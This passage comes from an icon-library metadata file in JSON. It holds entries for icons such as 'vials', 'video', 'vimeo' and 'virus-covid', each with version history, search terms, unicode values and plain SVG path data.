        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V384c0 53 43 96 96 96c28.6 0 54.2-12.5 71.8-32.3c.1-14.2 5.6-28.3 16.4-39.1c.2-.2 .1-.6-.2-.6c-30.9 0-56-25.1-56-56s25.1-56 56-56c.3 0 .4-.4 .2-.6c-21.9-21.9-21.9-57.3 0-79.2c2.4-2.4 5-4.6 7.8-6.5V96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 96 32zM96 192V96h64v96H96zM216 376c28.8 0 43.2 34.8 22.9 55.2c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0c20.4-20.4 55.2-5.9 55.2 22.9c0 13.3 10.7 24 24 24s24-10.7 24-24c0-28.8 34.8-43.2 55.2-22.9c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9C444.8 410.8 459.2 376 488 376c13.3 0 24-10.7 24-24s-10.7-24-24-24c-28.8 0-43.2-34.8-22.9-55.2c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0C410.8 259.2 376 244.8 376 216c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 28.8-34.8 43.2-55.2 22.9c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9c20.4 20.4 5.9 55.2-22.9 55.2c-13.3 0-24 10.7-24 24s10.7 24 24 24zm104-88a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm40 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V384c0 53 43 96 96 96c28.6 0 54.2-12.5 71.8-32.3c.1-14.2 5.6-28.3 16.4-39.1c.2-.2 .1-.6-.2-.6c-30.9 0-56-25.1-56-56s25.1-56 56-56c.3 0 .4-.4 .2-.6c-21.9-21.9-21.9-57.3 0-79.2c2.4-2.4 5-4.6 7.8-6.5V96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 96 32zM96 192V96h64v96H96zM216 376c28.8 0 43.2 34.8 22.9 55.2c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0c20.4-20.4 55.2-5.9 55.2 22.9c0 13.3 10.7 24 24 24s24-10.7 24-24c0-28.8 34.8-43.2 55.2-22.9c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9C444.8 410.8 459.2 376 488 376c13.3 0 24-10.7 24-24s-10.7-24-24-24c-28.8 0-43.2-34.8-22.9-55.2c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0C410.8 259.2 376 244.8 376 216c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 28.8-34.8 43.2-55.2 22.9c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9c20.4 20.4 5.9 55.2-22.9 55.2c-13.3 0-24 10.7-24 24s10.7 24 24 24zm104-88a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm40 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "vials": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f493"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "experiment",
        "lab",
        "sample",
        "science",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "f493",
    "label": "Vials",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H88h48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96C14.3 96 0 81.7 0 64zM136 96H88V256h48V96zM288 64c0-17.7 14.3-32 32-32h56 48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96c-17.7 0-32-14.3-32-32zM424 96H376V256h48V96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H88h48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96C14.3 96 0 81.7 0 64zM136 96H88V256h48V96zM288 64c0-17.7 14.3-32 32-32h56 48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96c-17.7 0-32-14.3-32-32zM424 96H376V256h48V96z"
      }
    },
    "free": ["solid"]
  },
  "viber": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f409",
    "label": "Viber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"
      }
    },
    "free": ["brands"]
  },
  "video": {
    "aliases": {
      "names": ["video-camera"],
      "unicodes": {
        "secondary": ["10f03d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camera", "film", "movie", "record", "video-camera"]
    },
    "styles": ["solid"],
    "unicode": "f03d",
    "label": "Video",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM559.1 99.8c10.4 5.6 16.9 16.4 16.9 28.2V384c0 11.8-6.5 22.6-16.9 28.2s-23 5-32.9-1.6l-96-64L416 337.1V320 192 174.9l14.2-9.5 96-64c9.8-6.5 22.4-7.2 32.9-1.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM559.1 99.8c10.4 5.6 16.9 16.4 16.9 28.2V384c0 11.8-6.5 22.6-16.9 28.2s-23 5-32.9-1.6l-96-64L416 337.1V320 192 174.9l14.2-9.5 96-64c9.8-6.5 22.4-7.2 32.9-1.6z"
      }
    },
    "free": ["solid"]
  },
  "video-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4e2"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "film", "new", "positive", "record", "video"]
    },
    "styles": ["solid"],
    "unicode": "f4e2",
    "label": "Video Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.4-67.7 13.8 9.2c9.8 6.5 22.4 7.2 32.9 1.6s16.9-16.4 16.9-28.2V128c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.9 1.6l-96 64L448 174.9V192 320v5.8l-32-25.1V128c0-35.3-28.7-64-64-64H113.9L38.8 5.1zM407 416.7L32.3 121.5c-.2 2.1-.3 4.3-.3 6.5V384c0 35.3 28.7 64 64 64H352c23.4 0 43.9-12.6 55-31.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.4-67.7 13.8 9.2c9.8 6.5 22.4 7.2 32.9 1.6s16.9-16.4 16.9-28.2V128c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.9 1.6l-96 64L448 174.9V192 320v5.8l-32-25.1V128c0-35.3-28.7-64-64-64H113.9L38.8 5.1zM407 416.7L32.3 121.5c-.2 2.1-.3 4.3-.3 6.5V384c0 35.3 28.7 64 64 64H352c23.4 0 43.9-12.6 55-31.3z"
      }
    },
    "free": ["solid"]
  },
  "vihara": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6a7"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buddhism", "buddhist", "building", "monastery"]
    },
    "styles": ["solid"],
    "unicode": "f6a7",
    "label": "Vihara",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M281 22L305.8 4.7c1.3-.9 2.7-1.8 4.1-2.4C313.1 .7 316.6 0 320 0s6.9 .7 10.1 2.2c1.4 .7 2.8 1.5 4.1 2.4L359 22C393 45.8 430.8 63.5 470.8 74.4l23 6.3c1.8 .5 3.6 1.1 5.2 2c3.2 1.7 5.9 4 8.1 6.8c3.8 4.9 5.6 11.3 4.7 17.8c-.4 2.8-1.2 5.4-2.5 7.8c-1.7 3.2-4 5.9-6.8 8.1c-4.3 3.2-9.6 5.1-15.1 4.9H480v56.1l6.4 5.1 5.2 4.1c21.1 16.7 45 29.6 70.5 38.1l28.9 9.6c1.6 .5 3.2 1.2 4.6 2c3.1 1.7 5.8 4.1 7.8 6.9s3.5 6.1 4.1 9.6c.5 2.7 .6 5.5 .1 8.3s-1.4 5.4-2.7 7.8c-1.7 3.1-4.1 5.8-6.9 7.8s-6.1 3.5-9.6 4.1c-1.6 .3-3.3 .4-5 .4H544v65.9c20.5 22.8 47.4 39.2 77.4 46.7C632 403 640 412.6 640 424c0 13.3-10.7 24-24 24H576v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H24c-13.3 0-24-10.7-24-24c0-11.4 8-21 18.6-23.4c30-7.6 56.9-23.9 77.4-46.7V288H56.6c-1.7 0-3.4-.1-5-.4c-3.5-.7-6.8-2.1-9.6-4.1s-5.2-4.7-7-7.8c-1.3-2.4-2.3-5-2.7-7.8s-.4-5.6 .1-8.3c.7-3.5 2.1-6.8 4.1-9.6s4.7-5.2 7.8-6.9c1.4-.8 3-1.5 4.6-2l28.9-9.6c25.5-8.5 49.4-21.4 70.5-38.1l5.2-4.1 6.4-5.1V176 128h-7.5c-5.5 .1-10.8-1.7-15.1-4.9c-2.8-2.1-5.1-4.8-6.8-8.1c-1.2-2.4-2.1-5-2.5-7.8c-.9-6.5 .9-12.8 4.7-17.8c2.1-2.8 4.8-5.1 8.1-6.8c1.6-.8 3.4-1.5 5.2-2l23-6.3C209.2 63.5 247 45.8 281 22zM416 128H320 224v64h72 48 72V128zM160 288v64H296h24 24H480V288H344 320h0H296 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M281 22L305.8 4.7c1.3-.9 2.7-1.8 4.1-2.4C313.1 .7 316.6 0 320 0s6.9 .7 10.1 2.2c1.4 .7 2.8 1.5 4.1 2.4L359 22C393 45.8 430.8 63.5 470.8 74.4l23 6.3c1.8 .5 3.6 1.1 5.2 2c3.2 1.7 5.9 4 8.1 6.8c3.8 4.9 5.6 11.3 4.7 17.8c-.4 2.8-1.2 5.4-2.5 7.8c-1.7 3.2-4 5.9-6.8 8.1c-4.3 3.2-9.6 5.1-15.1 4.9H480v56.1l6.4 5.1 5.2 4.1c21.1 16.7 45 29.6 70.5 38.1l28.9 9.6c1.6 .5 3.2 1.2 4.6 2c3.1 1.7 5.8 4.1 7.8 6.9s3.5 6.1 4.1 9.6c.5 2.7 .6 5.5 .1 8.3s-1.4 5.4-2.7 7.8c-1.7 3.1-4.1 5.8-6.9 7.8s-6.1 3.5-9.6 4.1c-1.6 .3-3.3 .4-5 .4H544v65.9c20.5 22.8 47.4 39.2 77.4 46.7C632 403 640 412.6 640 424c0 13.3-10.7 24-24 24H576v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H24c-13.3 0-24-10.7-24-24c0-11.4 8-21 18.6-23.4c30-7.6 56.9-23.9 77.4-46.7V288H56.6c-1.7 0-3.4-.1-5-.4c-3.5-.7-6.8-2.1-9.6-4.1s-5.2-4.7-7-7.8c-1.3-2.4-2.3-5-2.7-7.8s-.4-5.6 .1-8.3c.7-3.5 2.1-6.8 4.1-9.6s4.7-5.2 7.8-6.9c1.4-.8 3-1.5 4.6-2l28.9-9.6c25.5-8.5 49.4-21.4 70.5-38.1l5.2-4.1 6.4-5.1V176 128h-7.5c-5.5 .1-10.8-1.7-15.1-4.9c-2.8-2.1-5.1-4.8-6.8-8.1c-1.2-2.4-2.1-5-2.5-7.8c-.9-6.5 .9-12.8 4.7-17.8c2.1-2.8 4.8-5.1 8.1-6.8c1.6-.8 3.4-1.5 5.2-2l23-6.3C209.2 63.5 247 45.8 281 22zM416 128H320 224v64h72 48 72V128zM160 288v64H296h24 24H480V288H344 320h0H296 160z"
      }
    },
    "free": ["solid"]
  },
  "vimeo": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40a",
    "label": "Vimeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"
      }
    },
    "free": ["brands"]
  },
  "vimeo-v": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["vimeo"]
    },
    "styles": ["brands"],
    "unicode": "f27d",
    "label": "Vimeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"
      }
    },
    "free": ["brands"]
  },
  "vine": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ca",
    "label": "Vine",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"
      }
    },
    "free": ["brands"]
  },
  "virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e074"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "sick",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e074",
    "label": "Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L120.2 75C107.7 62.5 87.5 62.5 75 75s-12.5 32.8 0 45.3l8.2 8.2C118.4 163.7 93.4 224 43.5 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H43.5c49.9 0 74.9 60.3 39.6 95.6L75 391.8c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-49.9 60.3-74.9 95.6-39.6l8.2 8.2c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-8.2-8.2c-35.3-35.3-10.3-95.6 39.6-95.6H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H468.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C348.3 118.4 288 93.4 288 43.5V32zM176 224a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L120.2 75C107.7 62.5 87.5 62.5 75 75s-12.5 32.8 0 45.3l8.2 8.2C118.4 163.7 93.4 224 43.5 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H43.5c49.9 0 74.9 60.3 39.6 95.6L75 391.8c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-49.9 60.3-74.9 95.6-39.6l8.2 8.2c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-8.2-8.2c-35.3-35.3-10.3-95.6 39.6-95.6H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H468.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C348.3 118.4 288 93.4 288 43.5V32zM176 224a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "virus-covid": {
    "changes": ["6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "vaccine",
        "viral",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a8",
    "label": "Virus Covid",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24s-10.7 24-24 24H280V81.6c30.7 4.2 58.8 16.3 82.3 34.1L386.1 92 374.8 80.6c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l56.6 56.6c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L420 125.9l-23.8 23.8c17.9 23.5 29.9 51.7 34.1 82.3H464V216c0-13.3 10.7-24 24-24s24 10.7 24 24v80c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H430.4c-4.2 30.7-16.3 58.8-34.1 82.3L420 386.1l11.3-11.3c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-56.6 56.6c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L386.1 420l-23.8-23.8c-23.5 17.9-51.7 29.9-82.3 34.1V464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V430.4c-30.7-4.2-58.8-16.3-82.3-34.1L125.9 420l11.3 11.3c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L46.7 408.7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L92 386.1l23.8-23.8C97.9 338.8 85.8 310.7 81.6 280H48v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V216c0-13.3 10.7-24 24-24s24 10.7 24 24v16H81.6c4.2-30.7 16.3-58.8 34.1-82.3L92 125.9 80.6 137.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l56.6-56.6c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L125.9 92l23.8 23.8c23.5-17.9 51.7-29.9 82.3-34.1V48H216c-13.3 0-24-10.7-24-24zm48 200a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm64 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
